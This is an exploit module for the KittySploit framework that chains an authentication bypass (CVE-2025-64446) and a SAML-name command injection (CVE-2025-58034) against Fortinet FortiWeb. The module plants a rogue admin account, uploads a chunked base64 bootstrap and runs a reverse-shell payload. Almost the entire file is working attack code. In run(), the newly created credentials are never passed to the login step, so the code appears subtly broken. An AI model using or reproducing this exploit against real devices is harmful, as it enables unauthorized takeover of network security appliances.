Fortinet FortiWeb Unauthenticated RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.websocket_client import WebSocket_client
import json
import base64
import random
import string
import time

class Module(Exploit, Http_client, WebSocket_client):
    
    __info__ = {
        "name": "Fortinet FortiWeb Unauthenticated RCE",
        "description": "Exploits CVE-2025-64446 (auth bypass) to create admin account, then uses "
                       "CVE-2025-58034 (command injection via WebSocket CLI) for RCE",
        "author": ["Defused", "sfewer-r7", "KittySploit Team"],
        "cve": ["CVE-2025-64446", "CVE-2025-58034"],
        "platform": Platform.UNIX,
        "arch": [Arch.X86, Arch.X64],
        "references": [
            ["CVE", "2025-64446"],
            ["CVE", "2025-58034"],
            ["URL", "https://attackerkb.com/topics/zClpINmLCh/cve-2025-58034/rapid7-analysis"],
            ["URL", "https://x.com/defusedcyber/status/1975242250373517373"],
            ["URL", "https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass"],
            ["URL", "https://www.fortiguard.com/psirt/FG-IR-25-910"],
            ["URL", "https://www.fortiguard.com/psirt/FG-IR-25-513"]
        ],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "arch": [Arch.X86, Arch.X64],
            "category": PayloadCategory.SINGLE,
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }
    
    port = OptPort(443, "Target port", required=True)
    path = OptString("/", "Base path (prefix before /api, /logincheck, /ws)", required=False)
    
    # Admin account options
    admin_username = OptString("", "Admin username to use (random if empty)", required=False, advanced=True)
    admin_password = OptString("", "Admin password to use (random if empty)", required=False, advanced=True)
    access_profile = OptString("prof_admin", "Access profile for new admin account", required=False, advanced=True)
    domain = OptString("root", "Domain for new admin account", required=False, advanced=True)
    default_admin = OptString("admin", "Default FortiWeb admin account name", required=False, advanced=True)
    writable_dir = OptString("/tmp", "Writable directory on target", required=False, advanced=True)
    
    def _generate_cgiinfo_header(self):
        """Generate CGIINFO header with base64 encoded admin context"""
        cgi_data = {
            "username": self.default_admin,
            "profname": self.access_profile,
            "vdom": self.domain,
            "loginname": self.default_admin
        }
        
        json_str = json.dumps(cgi_data, separators=(',', ':'))
        base64_encoded = base64.b64encode(json_str.encode()).decode()
        
        return base64_encoded
    
    def _post_auth_bypass_request(self, request_data):
        """Send POST request with auth bypass via path traversal"""
        cgi_info = {
            'username': self.default_admin,
            'profname': self.access_profile,
            'vdom': self.domain,
            'loginname': self.default_admin
        }
        
        headers = {
            'CGIINFO': base64.b64encode(json.dumps(cgi_info).encode()).decode(),
            'Content-Type': 'application/json'
        }
        
        p = self.path.rstrip("/")
        exploit_path = f"{p}/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi"
        
        response = self.http_request(
            method='POST',
            path=exploit_path,
            headers=headers,
            data=json.dumps(request_data),
            timeout=30
        )
        
        return response
    
    def check(self):
        """Check if target is vulnerable to CVE-2025-64446"""
        try:
            print_info(f"Checking {self.target}:{self.port} for CVE-2025-64446...")
            
            res = self._post_auth_bypass_request({"data": {}})
            
            if not res:
                return {
                    'vulnerable': False,
                    'reason': 'Connection failed',
                    'confidence': 'low'
                }
            
            if res.status_code == 403:
                return {
                    'vulnerable': False,
                    'reason': 'Received 403 Forbidden response',
                    'confidence': 'high'
                }
            
            try:
                j = res.json()
                if j.get('results', {}).get('message') == "Empty value isn't allowed.":
                    return {
                        'vulnerable': True,
                        'reason': 'Target appears vulnerable (CVE-2025-64446)',
                        'confidence': 'high'
                    }
            except (json.JSONDecodeError, KeyError):
                pass
            
            return {
                'vulnerable': False,
                'reason': 'Unexpected response',
                'confidence': 'medium'
            }
            
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {e}',
                'confidence': 'low'
            }
    
    def _create_admin_account(self, admin_username, admin_password):
        """Create a new local admin account via CVE-2025-64446"""
        request_data = {
            "data": {
                "q_type": 1,
                "name": admin_username,
                "access-profile": self.access_profile,
                "access-profile_val": "0",
                "trusthostv4": "0.0.0.0/0",
                "trusthostv6": "::/0",
                "last-name": "",
                "first-name": "",
                "email-address": "",
                "phone-number": "",
                "mobile-number": "",
                "hidden": 0,
                "domains": self.domain,
                "sz_dashboard": -1,
                "type": "local-user",
                "type_val": "0",
                "admin-usergrp_val": "0",
                "wildcard_val": "0",
                "accprofile-override_val": "0",
                "sshkey": "",
                "passwd-set-time": 0,
                "history-password-pos": 0,
                "history-password0": "",
                "history-password1": "",
                "history-password2": "",
                "history-password3": "",
                "history-password4": "",
                "history-password5": "",
                "history-password6": "",
                "history-password7": "",
                "history-password8": "",
                "history-password9": "",
                "force-password-change": "disable",
                "force-password-change_val": "0",
                "password": admin_password
            }
        }
        
        res = self._post_auth_bypass_request(request_data)
        
        if not res:
            print_error("Connection failed")
            return False
        
        if res.status_code == 403:
            print_error("Target does not appear vulnerable (403 Forbidden response)")
            return False
        
        if res.status_code != 200:
            if res.headers.get('Content-Type') == 'application/json':
                try:
                    response_data = res.json()
                    print_error(f"Response: {json.dumps(response_data)}")
                except:
                    print_error("Failed to parse response JSON data")
            print_error(f"Target returned unexpected response ({res.status_code})")
            return False
        
        return True
    
    def _login(self, admin_username, admin_password):
        """Login with admin credentials and get session cookies"""
        print_status("Logging in...")
        
        # Clear existing cookies
        self.session.cookies.clear()
        
        login_data = {
            'username': admin_username,
            'secretkey': admin_password
        }
        
        protocol = "https" if self.ssl else "http"
        p = self.path.rstrip("/")
        url = f"{protocol}://{self.target}:{self.port}{p}/logincheck"
        
        try:
            response = self.session.post(
                url,
                data=login_data,
                verify=self.verify_ssl,
                timeout=30
            )
            
            if not response:
                print_error("Connection failed")
                return False
            
            if response.status_code != 200:
                print_error(f"Unexpected response code: {response.status_code}")
                return False
            
            # Check for APSCOOKIE_FWEB cookie
            has_cookie = any(c.name.startswith('APSCOOKIE_FWEB') for c in self.session.cookies)
            if not has_cookie:
                print_error("No APSCOOKIE_FWEB cookie returned")
                return False
            
            print_success(f"Successfully logged in as {admin_username}")
            return True
            
        except Exception as e:
            print_error(f"Login failed: {e}")
            return False
    
    def _execute_cmd(self, cmd):
        """Execute OS command via CVE-2025-58034 (command injection in SAML config name)"""
        # Validate command doesn't contain bad chars
        bad_chars = '`#()>\'"'
        for bad_char in bad_chars:
            if bad_char in cmd:
                print_error(f"Bad cmd char {bad_char} in execute_cmd")
                return False
        
        # Max name length is 63 characters, less 2 for double backtick
        if len(cmd) > (63 - 2):
            print_error("Command too long for execute_cmd")
            return False
        
        print_status("Connecting to the CLI websocket...")
        
        # Get cookies from HTTP session
        cookies = {}
        for c in self.session.cookies:
            cookies[c.name] = c.value
        
        # WebSocket headers - FortiWeb requires lowercase 'websocket'
        ws_headers = {
            'Upgrade': 'websocket'
        }
        
        cli_commands = [
            'config user saml-user',
            f'edit "`{cmd}`"',  # Command injection via backticks in SAML user name
            f"set entityID http://{self.random_text(random.randint(4, 8))}",
            f"set service-path /{self.random_text(random.randint(4, 8))}",
            'set enforce-signing disable',
            'set slo-bind post',
            f"set slo-path /{self.random_text(random.randint(4, 8))}",
            'set sso-bind post',
            f"set sso-path /{self.random_text(random.randint(4, 8))}",
            'end'
        ]
        
        try:
            # Connect to WebSocket using the library
            p = self.path.rstrip("/")
            ws_path = f"{p}/ws/cli/open"
            if not self.connect(path=ws_path, headers=ws_headers, cookies=cookies):
                print_error("Failed to connect to CLI websocket")
                return False
            
            # Run commands sequentially
            if not self.run_commands(cli_commands, prompt=' # ', command_timeout=10):
                print_warning("Some commands may not have executed successfully")
            
            return True
            
        except Exception as e:
            print_error(f"CLI websocket connection error: {e}")
            return False
        finally:
            # Close WebSocket connection
            self.close()
    
    def _execute_payload(self):
        """Execute payload via command injection, chunking if necessary"""
        if not hasattr(self, 'payload') or not self.payload:
            print_error("No payload configured")
            return False
        
        # Get generated payload (self.payload already handles generation)
        try:
            generated_payload = self.payload
            if not generated_payload:
                print_error("Failed to generate payload")
                return False
            
            # Convert bytes to string if needed
            if isinstance(generated_payload, bytes):
                payload_cmd = generated_payload.decode('utf-8', errors='ignore')
            else:
                payload_cmd = str(generated_payload)
                
        except Exception as e:
            print_error(f"Failed to generate payload: {e}")
            return False
        
        tmp_file_name = self.random_text(4)
        
        # Bootstrap payload that detaches from session using Python
        bootstrap_payload = f"rm -f {self.writable_dir}/{tmp_file_name}*;"
        bootstrap_payload += f'python -c "import subprocess;subprocess.Popen(f\\"{payload_cmd}\\",shell=True,start_new_session=True,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)"'
        
        print_debug(f"Using bootstrap payload: {bootstrap_payload}")
        
        # Base64 encode the bootstrap payload
        bootstrap_payload_b64 = base64.b64encode(bootstrap_payload.encode()).decode()
        
        # Chunk the payload for upload (max 63 chars per command, less overhead)
        idx = 1
        idx_prefix = ''
        chunk_size = 63 - 2 - len(f"echo -n |tee {self.writable_dir}/{tmp_file_name}{idx_prefix}{idx}")
        
        curr_chunk_number = 1
        max_chunk_number = (len(bootstrap_payload_b64) // chunk_size) + 1
        
        remaining_payload = bootstrap_payload_b64
        
        while remaining_payload:
            print_status(f"Uploading bootstrap payload chunk {curr_chunk_number} of {max_chunk_number}...")
            
            chunk = remaining_payload[:chunk_size]
            remaining_payload = remaining_payload[chunk_size:]
            
            cmd = f"echo -n {chunk}|tee {self.writable_dir}/{tmp_file_name}{idx_prefix}{idx}"
            self._execute_cmd(cmd)
            
            idx += 1
            
            if idx > 9:
                idx = 1
                idx_prefix += '9'
                chunk_size -= 1
                if chunk_size <= 0:
                    print_error("No more space in the command to write chunk data, choose a smaller payload")
                    return False
            
            curr_chunk_number += 1
        
        print_status("Amalgamating bootstrap payload chunks...")
        self._execute_cmd(f"cat {self.writable_dir}/{tmp_file_name}*|tee {self.writable_dir}/{tmp_file_name}")
        
        print_status("Executing bootstrap payload...")
        self._execute_cmd(f"cat {self.writable_dir}/{tmp_file_name}|base64 -d|sh")
        
        return True
    
    def run(self):
        """Execute the exploit"""
        try:
            # Generate or use provided admin credentials
            if not self.admin_username or not self.admin_password:
                print_status("Creating a new admin account via CVE-2025-64446...")
                
                admin_username = self.random_text(8)
                admin_password = self.random_text(12)
                
                if not self._create_admin_account(admin_username, admin_password):
                    return False
                
                print_success(f"New admin account successfully created: {admin_username}:{admin_password}")
            else:
                print_success(f"Using existing admin credentials: {self.admin_username}:{self.admin_password}")
            
            # Login
            if not self._login(self.admin_username, self.admin_password):
                return False
            
            # Execute payload via command injection
            print_status("Executing payload via CVE-2025-58034...")
            
            try:
                self._execute_payload()
            except Exception as e:
                print_error(f"Payload execution error: {e}")
                return False
            
            print_success("Finished.")
            return True
            
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            import traceback
            traceback.print_exc()
            return False